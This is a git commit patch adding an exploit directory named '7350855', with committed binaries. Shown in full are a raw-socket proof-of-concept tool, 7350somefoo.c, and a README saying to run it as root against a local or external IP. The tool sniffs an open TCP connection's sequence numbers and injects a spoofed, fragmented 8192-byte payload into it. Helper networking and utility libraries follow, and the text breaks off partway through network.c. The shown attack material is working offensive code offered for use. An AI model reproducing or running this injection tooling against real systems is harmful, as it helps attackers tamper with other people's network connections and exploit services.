From c9cbeced5b3f2bdd7407e29c0811e65954132540 Mon Sep 17 00:00:00 2001 From: Root THC Date: Tue, 24 Feb 2026 12:42:47 +0000 Subject: initial --- exploits/7350855/0/7350somefoo.c | 292 +++++++++++ exploits/7350855/0/Makefile | 20 + exploits/7350855/0/README | 18 + exploits/7350855/0/common.c | 318 ++++++++++++ exploits/7350855/0/common.h | 26 + exploits/7350855/0/network.c | 918 +++++++++++++++++++++++++++++++++ exploits/7350855/0/network.h | 367 +++++++++++++ exploits/7350855/0/packet.c | 487 +++++++++++++++++ exploits/7350855/0/packet.h | 85 +++ exploits/7350855/0/readtest.c | 42 ++ exploits/7350855/0/sniff.c | 323 ++++++++++++ exploits/7350855/0/sniff.h | 44 ++ exploits/7350855/7350855 | Bin 0 -> 189293 bytes exploits/7350855/7350855-bumped.tar.gz | Bin 0 -> 23571 bytes exploits/7350855/7350855.c | 293 +++++++++++ exploits/7350855/7350855_exploit.c | 877 +++++++++++++++++++++++++++++++ exploits/7350855/Makefile | 20 + exploits/7350855/common.c | 318 ++++++++++++ exploits/7350855/common.h | 26 + exploits/7350855/common.o | Bin 0 -> 21684 bytes exploits/7350855/network.c | 918 +++++++++++++++++++++++++++++++++ exploits/7350855/network.h | 367 +++++++++++++ exploits/7350855/network.o | Bin 0 -> 46048 bytes exploits/7350855/none.tgz | Bin 0 -> 18002 bytes exploits/7350855/packet.c | 487 +++++++++++++++++ exploits/7350855/packet.h | 85 +++ exploits/7350855/packet.o | Bin 0 -> 44540 bytes exploits/7350855/readtest | Bin 0 -> 63363 bytes exploits/7350855/readtest.c | 42 ++ exploits/7350855/sniff.c | 323 ++++++++++++ exploits/7350855/sniff.h | 44 ++ exploits/7350855/sniff.o | Bin 0 -> 41984 bytes 32 files changed, 6740 insertions(+) create mode 100644 exploits/7350855/0/7350somefoo.c create mode 100644 exploits/7350855/0/Makefile create mode 100644 exploits/7350855/0/README create mode 100644 exploits/7350855/0/common.c create mode 100644 exploits/7350855/0/common.h create mode 100644 exploits/7350855/0/network.c create mode 100644 exploits/7350855/0/network.h create mode 100644 exploits/7350855/0/packet.c create mode 100644 exploits/7350855/0/packet.h create mode 100644 exploits/7350855/0/readtest.c create mode 100644 exploits/7350855/0/sniff.c create mode 100644 exploits/7350855/0/sniff.h create mode 100644 exploits/7350855/7350855 create mode 100644 exploits/7350855/7350855-bumped.tar.gz create mode 100644 exploits/7350855/7350855.c create mode 100644 exploits/7350855/7350855_exploit.c create mode 100644 exploits/7350855/Makefile create mode 100644 exploits/7350855/common.c create mode 100644 exploits/7350855/common.h create mode 100644 exploits/7350855/common.o create mode 100644 exploits/7350855/network.c create mode 100644 exploits/7350855/network.h create mode 100644 exploits/7350855/network.o create mode 100644 exploits/7350855/none.tgz create mode 100644 exploits/7350855/packet.c create mode 100644 exploits/7350855/packet.h create mode 100644 exploits/7350855/packet.o create mode 100644 exploits/7350855/readtest create mode 100644 exploits/7350855/readtest.c create mode 100644 exploits/7350855/sniff.c create mode 100644 exploits/7350855/sniff.h create mode 100644 exploits/7350855/sniff.o (limited to 'exploits/7350855') diff --git a/exploits/7350855/0/7350somefoo.c b/exploits/7350855/0/7350somefoo.c new file mode 100644 index 0000000..9873e42 --- /dev/null +++ b/exploits/7350855/0/7350somefoo.c @@ -0,0 +1,292 @@ + + +#include +#include +#include +#include +#include "packet.h" +#include "sniff.h" +#include "network.h" + + +extern pthread_mutex_t watch_mutex; +extern int watch; +extern struct in_addr watch_ipsrc, + watch_ipdst; +extern unsigned short int watch_sport, + watch_dport; +extern unsigned long int watch_src_seq, + watch_dst_seq; +extern unsigned long int watch_src_ack, + watch_dst_ack; + +/* globals + */ +char * target = "127.0.0.1"; +unsigned int target_port = 2000; +char * interface = "eth0"; + +pq_thread * pmain; +pthread_t sniff_t; + +/* prototypes + */ +void witch_write (unsigned char *data, unsigned long int data_len, + unsigned short int frag_size); +int watch_connect (char *host, unsigned short int port); +void watch_enable (void); +void watch_disable (void); + + +void +usage (char *progfile) +{ + fprintf (stderr, "usage: %s [-t target] [-i interface]\n\n", progfile); + + exit (EXIT_FAILURE); +} + + +int +main (int argc, char *argv[]) +{ + int n; + int net; + char c; + + int scount = 5; + unsigned char tbuf[8192]; + + + while ((c = getopt (argc, argv, "p:t:i:")) != EOF) { + switch (c) { + case 'p': + target_port = atoi (optarg); + break; + case 't': + target = optarg; + break; + case 'i': + interface = optarg; + break; + default: + usage (argv[0]); + } + } + + srandom (time (NULL)); + + net = watch_connect (target, target_port); + watch_enable (); + + while (scount-- > 0) { + write (net, "\x73\x50", 2); + sleep (1); + } + + memset (tbuf, 'A', sizeof (tbuf)); + tbuf[sizeof (tbuf) - 1] = '\0'; + for (n = 0 ; n < sizeof (tbuf) ; ++n) + tbuf[n] = n % 2 ? '\x73' : '\x50'; + + witch_write (tbuf, sizeof (tbuf), 768); + + fprintf (stderr, "send\n"); + + sleep (20); + close (net); + + exit (EXIT_SUCCESS); +} + + +/* will write the data in one big tcp fragment. then tear down the connection, + * since it would get fucked over by the local host anyway (which does not + * know about the packets we send). idea by dvorak btw + */ + +void +witch_write (unsigned char *data, unsigned long int data_len, + unsigned short int frag_size) +{ + int frag_no; + unsigned short int frag_ofs; + + unsigned long int this_len; /* this fragments length */ + unsigned char tcpbuf[65536]; + unsigned char pbuf[2048]; /* packet buffer */ + + unsigned char * tp; + unsigned long int tp_len; + unsigned short int tp_id = random () & 0xffff; + + int rawsock, + rawlen; + + + /* first, disable tcp parsing, to not confuse it */ + watch_disable (); + + memset (tcpbuf, '\0', sizeof (tcpbuf)); + if ((data_len > (sizeof (tcpbuf) - TCP_H - IP_H)) || + frag_size > (sizeof (pbuf) - IP_H)) + { + fprintf (stderr, "packet size exceeded\n"); + exit (EXIT_FAILURE); + } + + /* XXX/FIXME: watch_dst_seq is used, but it should be + * watch_dst_seq + length-of-last-send-packet-by-target-host + * XXX: so it only works if the last packet by the target was a simple + * no-data packet + */ + libnet_build_tcp (watch_sport, watch_dport, + watch_dst_ack, /* ack # is next seq # */ + watch_dst_seq, /* acknowledge what it send (hopefully nothing) */ + TH_ACK | TH_FIN | TH_PUSH, + 16384, /* window size */ + 0, /* no urgent data */ + data, + data_len, + tcpbuf + IP_H); + + libnet_build_ip (data_len + TCP_H, /* length w/o header */ + 0, + tp_id, + 0, + 128, /* TTL */ + IPPROTO_TCP, /* enclosed payload */ + watch_ipsrc.s_addr, + watch_ipdst.s_addr, + tcpbuf + IP_H, + data_len + TCP_H, + tcpbuf); + + /* calculate checksum and slide buffer so we only have the proper + * tcp packet left + */ + libnet_do_checksum (tcpbuf, IPPROTO_TCP, TCP_H + data_len); + memmove (tcpbuf, tcpbuf + IP_H, TCP_H + data_len); + + tp = tcpbuf; + tp_len = TCP_H + data_len; + + frag_size &= ~0x03; /* align downwards on an 8 byte boundary */ + frag_no = 0; + frag_ofs = 0; + + /* write it out + */ + rawsock = libnet_open_raw_sock (IPPROTO_RAW); + if (rawsock == -1) { + perror ("libnet_open_raw_sock"); + + exit (EXIT_FAILURE); + } + + while (tp_len > 0) { + this_len = frag_size < tp_len ? frag_size : tp_len; + tp_len -= this_len; + + memset (pbuf, '\0', sizeof (pbuf)); + + /* construct one fragment + */ + libnet_build_ip (this_len, /* length w/o header */ + 0, /* no special TOS */ + tp_id, /* random ID */ + (tp_len > 0 ? IP_MF : 0) | /* more fragments to come ? */ + ((frag_ofs >> 3) & IP_OFFMASK), /* fragmentation offset */ + 128, /* TTL */ + IPPROTO_TCP, /* enclosed payload */ + watch_ipsrc.s_addr, + watch_ipdst.s_addr, + tp, this_len, + pbuf); + + libnet_do_checksum (pbuf, IPPROTO_IP, IP_H); + + + rawlen = libnet_write_ip (rawsock, pbuf, IP_H + this_len); + if (rawlen != IP_H + this_len) { + perror ("libnet_write_ip"); + + exit (EXIT_FAILURE); + } + + /* sleep to let the packet reach its target + */ + fprintf (stderr, "%2d: 0x%04hx (%5lu) - %5lu left\n", frag_no, + frag_ofs, this_len, tp_len); + usleep (500000); + + /* align for next fragment + */ + tp += this_len; + frag_no += 1; + frag_ofs += this_len; + } + + close (rawsock); +} + + +void +watch_enable (void) +{ + pthread_mutex_lock (&watch_mutex); + watch = 1; + pthread_mutex_unlock (&watch_mutex); +} + + +void +watch_disable (void) +{ + pthread_mutex_lock (&watch_mutex); + watch = 0; + pthread_mutex_unlock (&watch_mutex); +} + + +int +watch_connect (char *host, unsigned short int port) +{ + int sock; + char * ip_pr; + + + sock = net_connect (NULL, host, port, NULL, 0, 20); + + pthread_mutex_lock (&watch_mutex); + if (net_addrpair (sock , &watch_ipsrc, &watch_sport, + &watch_ipdst, &watch_dport)) + { + perror ("address pair on connection"); + + exit (EXIT_FAILURE); + } + pthread_mutex_unlock (&watch_mutex); + + net_printipa (&watch_ipsrc, &ip_pr); + printf ("%s:%hu <-> ", ip_pr, watch_sport); + free (ip_pr); + net_printipa (&watch_ipdst, &ip_pr); + printf ("%s:%hu\n", ip_pr, watch_dport); + free (ip_pr); + + pmain = pq_create (); + if (pmain == NULL) { + fprintf (stderr, "failed to create packetizer thread\n"); + exit (EXIT_FAILURE); + } + + if (sniff_new (&sniff_t, interface, pmain)) { + fprintf (stderr, "failed to create sniffing thread\n"); + exit (EXIT_FAILURE); + } + + return (sock); +} + + diff --git a/exploits/7350855/0/Makefile b/exploits/7350855/0/Makefile new file mode 100644 index 0000000..e5e1542 --- /dev/null +++ b/exploits/7350855/0/Makefile @@ -0,0 +1,20 @@ + +#DFLAGS=-O2 +DFLAGS=-g -ggdb `libnet-config --defines` -DDEBUG +CC=gcc +CFLAGS=$(DFLAGS) -Wall +OBJS= common.o network.o sniff.o packet.o +LIBS=-lnet -lpcap -lpthread + + +all: 7350somefoo readtest + +clean: + rm -f *.o 7350somefoo readtest + +readtest: readtest.c network.o + $(CC) $(CFLAGS) -o readtest readtest.c network.o + +7350somefoo: $(OBJS) 7350somefoo.c + $(CC) $(CFLAGS) -o 7350somefoo 7350somefoo.c $(OBJS) $(LIBS) + diff --git a/exploits/7350855/0/README b/exploits/7350855/0/README new file mode 100644 index 0000000..ce54b13 --- /dev/null +++ b/exploits/7350855/0/README @@ -0,0 +1,18 @@ + +do: + +make +# (ignore the random error warnings, its due to libnet lameness) + +./readtest & + +and as root: + +./7350somefoo -i lo -t 127.0.0.1 -p 2000 +or +./7350somefoo -t -p 2000 + + +it should show that 8192 bytes are read at once +try this with an external ip too, it should work 1:1 there, too. + diff --git a/exploits/7350855/0/common.c b/exploits/7350855/0/common.c new file mode 100644 index 0000000..9b28d61 --- /dev/null +++ b/exploits/7350855/0/common.c @@ -0,0 +1,318 @@ + +#include +#include +#include +#include +#include +#include +#include +#include "common.h" + + +#ifdef DEBUG +void +debugp (char *filename, const char *str, ...) +{ + FILE *fp; /* temporary file pointer */ + va_list vl; + + fp = fopen (filename, "a"); + if (fp == NULL) + return; + + va_start (vl, str); + vfprintf (fp, str, vl); + va_end (vl); + + fclose (fp); + + return; +} + +void +hexdump (char *filename, unsigned char *data, unsigned int amount) +{ + FILE *fp; /* temporary file pointer */ + unsigned int dp, p; /* data pointer */ + const char trans[] = + "................................ !\"#$%&'()*+,-./0123456789" + ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" + "nopqrstuvwxyz{|}~...................................." + "....................................................." + "........................................"; + + fp = fopen (filename, "a"); + if (fp == NULL) + return; + + fprintf (fp, "\n-packet-\n"); + + for (dp = 1; dp <= amount; dp++) { + fprintf (fp, "%02x ", data[dp-1]); + if ((dp % 8) == 0) + fprintf (fp, " "); + if ((dp % 16) == 0) { + fprintf (fp, "| "); + p = dp; + for (dp -= 16; dp < p; dp++) + fprintf (fp, "%c", trans[data[dp]]); + fflush (fp); + fprintf (fp, "\n"); + } + fflush (fp); + } + if ((amount % 16) != 0) { + p = dp = 16 - (amount % 16); + for (dp = p; dp > 0; dp--) { + fprintf (fp, " "); + if (((dp % 8) == 0) && (p != 8)) + fprintf (fp, " "); + fflush (fp); + } + fprintf (fp, " | "); + for (dp = (amount - (16 - p)); dp < amount; dp++) + fprintf (fp, "%c", trans[data[dp]]); + fflush (fp); + } + fprintf (fp, "\n"); + + fclose (fp); + return; +} + +#endif + + +/* m_random + * + * return a random number between `lowmark' and `highmark' + */ + +int +m_random (int lowmark, int highmark) +{ + long int rnd; + + /* flip/swap them in case user messed up + */ + if (lowmark > highmark) { + lowmark ^= highmark; + highmark ^= lowmark; + lowmark ^= highmark; + } + rnd = lowmark; + + rnd += (random () % (highmark - lowmark)); + + /* this is lame, i know :) + */ + return (rnd); +} + + +/* set_tv + * + * initializes a struct timeval pointed to by `tv' to a second value of + * `seconds' + * + * return in any case + */ + +void +set_tv (struct timeval *tv, int seconds) +{ + tv->tv_sec = seconds; + tv->tv_usec = 0; + + return; +} + + +/* xstrupper + * + * uppercase a string `str' + * + * return in any case + */ + +void +xstrupper (char *str) +{ + for (; *str != '\0'; ++str) { + if (*str >= 'a' && *str <= 'z') { + *str -= ('a' - 'A'); + } + } + + return; +} + + +/* concating snprintf + * + * determines the length of the string pointed to by `os', appending formatted + * string to a maximium length of `len'. + * + */ + +void +scnprintf (char *os, size_t len, const char *str, ...) +{ + va_list vl; + char *ostmp = os + strlen (os); + + va_start (vl, str); + vsnprintf (ostmp, len - strlen (os) - 1, str, vl); + va_end (vl); + + return; +} + + +unsigned long int +tdiff (struct timeval *old, struct timeval *new) +{ + unsigned long int time1; + + if (new->tv_sec >= old->tv_sec) { + time1 = new->tv_sec - old->tv_sec; + if ((new->tv_usec - 500000) >= old->tv_usec) + time1++; + } else { + time1 = old->tv_sec - new->tv_sec; + if ((old->tv_usec - 500000) >= new->tv_usec) + time1++; + } + + return (time1); +} + + +/* ipv4_print + * + * padding = 0 -> don't padd + * padding = 1 -> padd with zeros + * padding = 2 -> padd with spaces + */ + +char * +ipv4_print (char *dest, struct in_addr in, int padding) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &in.s_addr; + + strcpy (dest, ""); + + switch (padding) { + case (0): + sprintf (dest, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + case (1): + sprintf (dest, "%03d.%03d.%03d.%03d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + case (2): + sprintf (dest, "%3d.%3d.%3d.%3d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + default: + break; + } + + return (dest); +} + + +void * +xrealloc (void *m_ptr, size_t newsize) +{ + void *n_ptr; + + n_ptr = realloc (m_ptr, newsize); + if (n_ptr == NULL) { + fprintf (stderr, "realloc failed\n"); + exit (EXIT_FAILURE); + } + + return (n_ptr); +} + + +char * +xstrdup (char *str) +{ + char *b; + + b = strdup (str); + if (b == NULL) { + fprintf (stderr, "strdup failed\n"); + exit (EXIT_FAILURE); + } + + return (b); +} + + +void * +xcalloc (int factor, size_t size) +{ + void *bla; + + bla = calloc (factor, size); + + if (bla == NULL) { + fprintf (stderr, "no memory left\n"); + exit (EXIT_FAILURE); + } + + return (bla); +} + + +/* source by dk + */ + +char * +allocncat (char **to, char *from, size_t len) +{ + int rlen = strlen (from); + int null = *to == NULL; + + len = rlen < len ? rlen : len; + *to = realloc (*to, (null ? 0 : strlen (*to)) + len + 1); + if (null) + **to = '\0'; + + if (*to == NULL) + perror ("no memory: "); + + return (strncat (*to, from, len)); +} + + +char * +alloccat (char **to, char *from) +{ + return (allocncat (to, from, strlen (from))); +} + + +char * +ip_get_random (void) +{ + char *ip = xcalloc (1, 17); + int i[4]; + + for (;;) { + i[0] = m_random (1, 239); + if (i[0] != 10 && i[0] != 127 && i[0] != 192) + break; + } + i[1] = m_random (1, 254); + i[2] = m_random (1, 254); + i[3] = m_random (1, 254); + + sprintf (ip, "%d.%d.%d.%d", i[0], i[1], i[2], i[3]); + + return (ip); +} + diff --git a/exploits/7350855/0/common.h b/exploits/7350855/0/common.h new file mode 100644 index 0000000..dc7b666 --- /dev/null +++ b/exploits/7350855/0/common.h @@ -0,0 +1,26 @@ + +#ifndef Z_COMMON_H +#define Z_COMMON_H + +#include +#include + +#ifdef DEBUG +void debugp (char *filename, const char *str, ...); +void hexdump (char *filename, unsigned char *data, unsigned int amount); +#endif +int m_random (int lowmark, int highmark); +void set_tv (struct timeval *tv, int seconds); +void xstrupper (char *str); +void scnprintf (char *os, size_t len, const char *str, ...); +unsigned long int tdiff (struct timeval *old, struct timeval *new); +char *ipv4_print (char *dest, struct in_addr in, int padding); +void *xrealloc (void *m_ptr, size_t newsize); +char *xstrdup (char *str); +void *xcalloc (int factor, size_t size); +char *allocncat (char **to, char *from, size_t len); +char *alloccat (char **to, char *from); +char *ip_get_random (void); + +#endif + diff --git a/exploits/7350855/0/network.c b/exploits/7350855/0/network.c new file mode 100644 index 0000000..71d4a21 --- /dev/null +++ b/exploits/7350855/0/network.c @@ -0,0 +1,918 @@ + +/* scut's leet network library ;) + * 1999 (c) scut + * + * networking routines + * based on my hbot networking sources, + * revised, extended and adapted 990405 + * extended, improved and fixed 990430 + * + * nearly all of this code wouldn't have been possible without w. richard stevens + * excellent network coding book. if you are interested in network coding, + * there is no way around it. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "network.h" + +int net_readtimeout = NET_READTIMEOUT; +int net_conntimeout = NET_CONNTIMEOUT; +int net_identtimeout = NET_IDENTTIMEOUT; + + +int +net_socks_connect (char *socks, unsigned short int sport, char *server, unsigned short int port, int sec) +{ + int s5s; + struct sockaddr_in cs; + + s5s = net_connect (&cs, socks, sport, NULL, 0, sec); + if (s5s == -1) + return (-1); + + if (net_socks_put_s5info (s5s, server, port, sec) == -1) { + close (s5s); + return (-1); + } + return (s5s); +} + + +int +net_socks_put_s5info (int s5s, char *server, unsigned short int port, int sec) +{ + int n; + char buff[1024]; + + /* v5 + noauth */ + net_write (s5s, "\x05\x01%c", 0); + if (net_rtimeout (s5s, sec) == -1) + return (-1); + recv (s5s, buff, sizeof (buff), 0); + + /* chain us =) */ + net_write (s5s, "\x05\x01%c\x03%c%s%c%c", 0, strlen (server), server, (port >> 8) & 0xff, port & 0xff); + if (net_rtimeout (s5s, sec) == -1) + return (-1); + n = recv (s5s, buff, sizeof (buff), 0); + if (buff[1] != 0x00) { + return (-1); + } + return (1); +} + + +int +net_parseip (char *inp, char **ip, unsigned short int *port) +{ + int n; + + if (inp == NULL) + return (0); + if (strchr (inp, ':') == NULL) + return (0); + + *ip = calloc (1, 256); + if (*ip == NULL) + return (0); + + n = sscanf (inp, "%[^:]:%hu", *ip, port); + if (n != 2) + return (0); + + *ip = realloc (*ip, strlen (*ip) + 1); + if (*ip == NULL || (*port < 1 || *port > 65535)) + return (0); + + return (1); +} + + +char * +net_getlocalip (void) +{ + struct sockaddr_in pf; + char name[255]; + + memset (name, '\0', sizeof (name)); + + if (gethostname (name, sizeof (name) - 1) == -1) { + return (NULL); + } + + pf.sin_addr.s_addr = net_resolve (name); + + return (strdup (inet_ntoa (pf.sin_addr)));; +} + + +char * +net_peeraddress (int socket) +{ + char * hip; + struct sockaddr_in peeraddr; + size_t size = sizeof (struct sockaddr_in); + + if (getpeername (socket, (struct sockaddr *) &peeraddr, &size) == -1) + return (NULL); + + net_printipa (&peeraddr.sin_addr, &hip); + + return (hip); +} + + +int +net_addrpair (int socket, struct in_addr *src_ip, unsigned short int *src_prt, + struct in_addr *dst_ip, unsigned short int *dst_prt) +{ + size_t size = sizeof (struct sockaddr_in); + struct sockaddr_in addr; + + + if (getsockname (socket, (struct sockaddr *) &addr, &size) == -1) + return (1); + + src_ip->s_addr = addr.sin_addr.s_addr; + *src_prt = ntohs (addr.sin_port); + + if (getpeername (socket, (struct sockaddr *) &addr, &size) == -1) + return (1); + + dst_ip->s_addr = addr.sin_addr.s_addr; + *dst_prt = ntohs (addr.sin_port); + + return (0); +} + + +char * +net_peername (int socket) +{ + struct sockaddr_in peeraddr; + struct hostent he, *hep; + size_t size = sizeof (struct sockaddr_in); + int n, h_errno; + unsigned char h_buf[8192]; + + if (getpeername (socket, (struct sockaddr *) &peeraddr, &size) == -1) + return (NULL); + + /* digital unix / hp-ux freaks mod here =) + */ + n = gethostbyaddr_r ((char *) &peeraddr.sin_addr, sizeof (struct in_addr), + AF_INET, &he, h_buf, sizeof (h_buf), &hep, &h_errno); + + if (hep == NULL) { + char *ip_str = NULL; + + net_printipa (&peeraddr.sin_addr, &ip_str); + return (ip_str); + } + + return (strdup (he.h_name)); +} + + +FILE * +net_descriptify (int socket) +{ + FILE *fp; + + fp = fdopen (socket, "r+"); + return ((fp == NULL) ? (NULL) : (fp)); +} + + +/* loosely based on rfc931.c */ + +int +net_ident (char **ident, struct sockaddr_in *locals, unsigned short int localport, + struct sockaddr_in *remotes, unsigned short int remoteport) +{ + int is; /* ident socket */ + struct sockaddr_in isa; + int n; + char identreply[512], *cp; + unsigned int rmt_port, our_port; + + + *ident = NULL; + + is = net_connect (&isa, inet_ntoa (remotes->sin_addr), 113, NULL, 0, net_identtimeout); + if (is == -1) + return (-1); + + /* ident request */ + net_write (is, "%u,%u\r\n", remoteport, localport); + memset (identreply, '\0', sizeof (identreply)); + + n = net_rlinet (is, identreply, sizeof(identreply) -1, net_identtimeout); + if (n == -1) { + close (is); + return (-1); + } + close (is); + + *ident = calloc (1, 256); +#ifdef DEBUG + printf("%s\n", identreply); +#endif + n = sscanf (identreply, "%u , %u : USERID :%*[^:]:%255s", &rmt_port, &our_port, *ident); + if (n != 3) { + free (*ident); + *ident = NULL; + return (-1); + } + + /* check the ports 'man */ + if ((rmt_port != remoteport) || (our_port != localport)) { + free (*ident); + *ident = NULL; + return (-1); + } + + /* strip character and save some memory */ + if ((cp = strchr (*ident, '\r'))) + *cp = '\0'; + n = strlen (*ident); + *ident = realloc (*ident, n + 1); + (*ident)[n] = '\0'; + +#ifdef DEBUG + printf("ident-return: %s\n", *ident); +#endif + return (1); +} + + +int +net_accept (int s, struct sockaddr_in *cs, int maxsec) +{ + int flags, n; + fd_set ac_s; + int len; + struct timeval tval; + struct sockaddr_in csa; + + if (cs == NULL) + cs = &csa; + + flags = fcntl(s, F_GETFL, 0); + if (flags == -1) + return (-1); + n = fcntl(s, F_SETFL, flags | O_NONBLOCK); + if (n == -1) + return (-1); + + FD_ZERO(&ac_s); + FD_SET(s, &ac_s); + tval.tv_sec = maxsec; + tval.tv_usec = 0; + + n = select(s + 1, &ac_s, NULL, NULL, maxsec ? &tval : NULL); + if (n == 0) + return (0); + + if (FD_ISSET(s, &ac_s)) { + len = sizeof(struct sockaddr_in); + n = accept(s, (struct sockaddr *) cs, &len); + if (n == -1) { + switch (errno) { + case EWOULDBLOCK: + case ECONNABORTED: + case EPROTO: + case EINTR: if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (0); + default: return (-1); + } + } + if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (n); + } + if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (0); +} + + +int +net_testvip (char *ip) +{ + struct ifi_info *ifi, *ifc; + struct in_addr ip_n; + + if (ip == NULL) + return (1); + if (strcmp(ip, "*") == 0) + return (1); + + ip_n.s_addr = net_resolve(ip); + if (!(ip_n.s_addr)) + return (0); + + ifi = net_ifi_get (AF_INET, 1); + if (ifi == NULL) + return (0); + for (ifc = ifi; ifc != NULL; ifc = ifc->ifi_next) { + if (memcmp (&ip_n.s_addr, &ifc->ifi_saddr.s_addr, sizeof (struct in_addr)) == 0) { + net_ifi_free(ifi); + return (1); + } + } + net_ifi_free(ifi); + return (0); +} + + +void +net_ifi_free (struct ifi_info *tf) +{ + struct ifi_info *ifi, *ifil; + + ifil = NULL; + for (ifi = tf; ifi != NULL; ifi = ifi->ifi_next) { + if (ifil) + free (ifil); + if (ifi->ifi_addr) + free (ifi->ifi_addr); + ifil = ifi; + } + if (ifil) + free (ifil); + return; +} + + +struct ifi_info * +net_ifi_get (int family, int doaliases) +{ + struct ifi_info *ifi, *ifihead, **ifipnext; + int sockfd, len, lastlen, flags, myflags; + char *ptr, *buf, lastname[IFNAMSIZ], *cptr; + struct ifconf ifc; + struct ifreq *ifr, ifrcopy; + struct sockaddr_in *sinptr; + + sockfd = socket(AF_INET, SOCK_DGRAM, 0); + if (sockfd == -1) + return (NULL); + + lastlen = 0; + len = 100 * sizeof(struct ifreq); + for (;;) { + buf = malloc(len); + if (buf == NULL) + return (NULL); + ifc.ifc_len = len; + ifc.ifc_buf = buf; + if (ioctl(sockfd, SIOCGIFCONF, &ifc) < 0) { + if (errno != EINVAL || lastlen != 0) + return (NULL); + } else { + if (ifc.ifc_len == lastlen) + break; + lastlen = ifc.ifc_len; + } + len += 10 * sizeof(struct ifreq); + free (buf); + } + ifihead = NULL; + ifipnext = &ifihead; + lastname[0] = 0; + + for (ptr = buf; ptr < buf + ifc.ifc_len;) { + ifr = (struct ifreq *) ptr; + if (ifr->ifr_addr.sa_family == AF_INET) + len = sizeof(struct sockaddr); + ptr += sizeof(ifr->ifr_name) + len; + + if (ifr->ifr_addr.sa_family != family) + continue; + myflags = 0; + if ((cptr = strchr(ifr->ifr_name, ':')) != NULL) + *cptr = 0; + if (strncmp(lastname, ifr->ifr_name, IFNAMSIZ) == 0) { + if (doaliases == 0) + continue; + myflags = IFI_ALIAS; + } + memcpy(lastname, ifr->ifr_name, IFNAMSIZ); + + ifrcopy = *ifr; + if (ioctl(sockfd, SIOCGIFFLAGS, &ifrcopy) < 0) + return (NULL); + flags = ifrcopy.ifr_flags; + if ((flags & IFF_UP) == 0) + continue; + + ifi = calloc(1, sizeof(struct ifi_info)); + if (ifi == NULL) + return (NULL); + *ifipnext = ifi; + ifipnext = &ifi->ifi_next; + ifi->ifi_flags = flags; + ifi->ifi_myflags = myflags; + memcpy(ifi->ifi_name, ifr->ifr_name, IFI_NAME); + ifi->ifi_name[IFI_NAME - 1] = '\0'; + +#ifdef DEBUG + printf("got: %s\n", ifi->ifi_name); +#endif + + switch (ifr->ifr_addr.sa_family) { + case AF_INET: + sinptr = (struct sockaddr_in *) &ifr->ifr_addr; + memcpy(&ifi->ifi_saddr, &sinptr->sin_addr, sizeof(struct in_addr)); + if (ifi->ifi_addr == NULL) { + ifi->ifi_addr = calloc(1, sizeof(struct sockaddr_in)); + if (ifi->ifi_addr == NULL) + return (NULL); + memcpy(ifi->ifi_addr, sinptr, sizeof(struct sockaddr_in)); + } + break; + default: + break; + } + } + free (buf); + return (ifihead); +} + + +void +net_boundfree (bound *bf) +{ + close (bf->bs); + free (bf); + return; +} + + +bound * +net_bind (char *ip, unsigned short int port) +{ + bound *b; + int br, gsnr, lr; + int len, reusetmp; + struct sockaddr_in *sap; + + if (port >= 65536) + return (NULL); + + b = calloc(1, sizeof (bound)); + if (b == NULL) + return (NULL); + b->bs = socket (AF_INET, SOCK_STREAM, 0); + if (b->bs == -1) + goto berror; + + reusetmp = 1; +#ifdef SO_REUSEPORT + if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEPORT, &reusetmp, sizeof (reusetmp)) == -1) + goto berror; +#else + if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEADDR, &reusetmp, sizeof (reusetmp)) == -1) + goto berror; +#endif + + sap = (struct sockaddr_in *) &b->bsa; + sap->sin_family = AF_INET; + sap->sin_port = htons (port); /* 0 = ephemeral */ + + if (ip != NULL) { + if (strcmp (ip, "*") == 0) { + sap->sin_addr.s_addr = htonl (INADDR_ANY); + } else { + if (!(sap->sin_addr.s_addr = net_resolve (ip))) { + goto berror; + } + } + } else { + sap->sin_addr.s_addr = htonl (INADDR_ANY); + } + + br = bind (b->bs, (struct sockaddr *) &b->bsa, sizeof (struct sockaddr)); + if (br == -1) + goto berror; + + len = sizeof (struct sockaddr); + gsnr = getsockname (b->bs, (struct sockaddr *) &b->bsa, &len); + b->port = ntohs (sap->sin_port); + if (gsnr == -1) + goto berror; + + lr = listen (b->bs, 16); + if (lr == -1) { + goto berror; + } + return (b); + +berror: + free (b); + + return(NULL); +} + + +unsigned long int +net_resolve (char *host) +{ + long i; + struct hostent *he; + + i = inet_addr(host); + if (i == -1) { + he = gethostbyname(host); + if (he == NULL) { + return (0); + } else { + return (*(unsigned long *) he->h_addr); + } + } + return (i); +} + + +int +net_assignaddr (int sd, char *sourceip, unsigned short int sourceport) +{ + struct sockaddr_in sourcedef; + + if (sourceip && strcmp (sourceip, "*") == 0) + sourceip = NULL; + + if (sourceip == NULL && sourceport == 0) + return (1); + + /* is the IP available on the local host ? (not really necessary) */ + if (sourceip && !net_testvip (sourceip)) { + return (0); + } + + memset (&sourcedef, '\0', sizeof (struct sockaddr_in)); + + /* if sourceip is specified, set it */ + if (sourceip) { + sourcedef.sin_addr.s_addr = net_resolve (sourceip); + } else { + sourcedef.sin_addr.s_addr = htonl (INADDR_ANY); + } + if (sourceport) + sourcedef.sin_port = htons (sourceport); + + /* now set the source on the socket by binding it */ + if (bind (sd, (struct sockaddr *) &sourcedef, sizeof (struct sockaddr_in)) == -1) { + return (0); + } + + return (1); +} + + +int +net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, + unsigned short int sourceport, int sec) +{ + int n, + len, + error, + flags; + int fd; + struct timeval tv; + fd_set rset, wset; + struct sockaddr_in csa; + + if (cs == NULL) + cs = &csa; + + /* first allocate a socket */ + cs->sin_family = AF_INET; + cs->sin_port = htons (port); + fd = socket (cs->sin_family, SOCK_STREAM, 0); + if (fd == -1) + return (-1); + + /* check wether we should change the defaults */ + if (net_assignaddr (fd, sourceip, sourceport) == 0) { + close (fd); + return (-1); + } + + if (!(cs->sin_addr.s_addr = net_resolve (server))) { + close (fd); + return (-1); + } + + flags = fcntl (fd, F_GETFL, 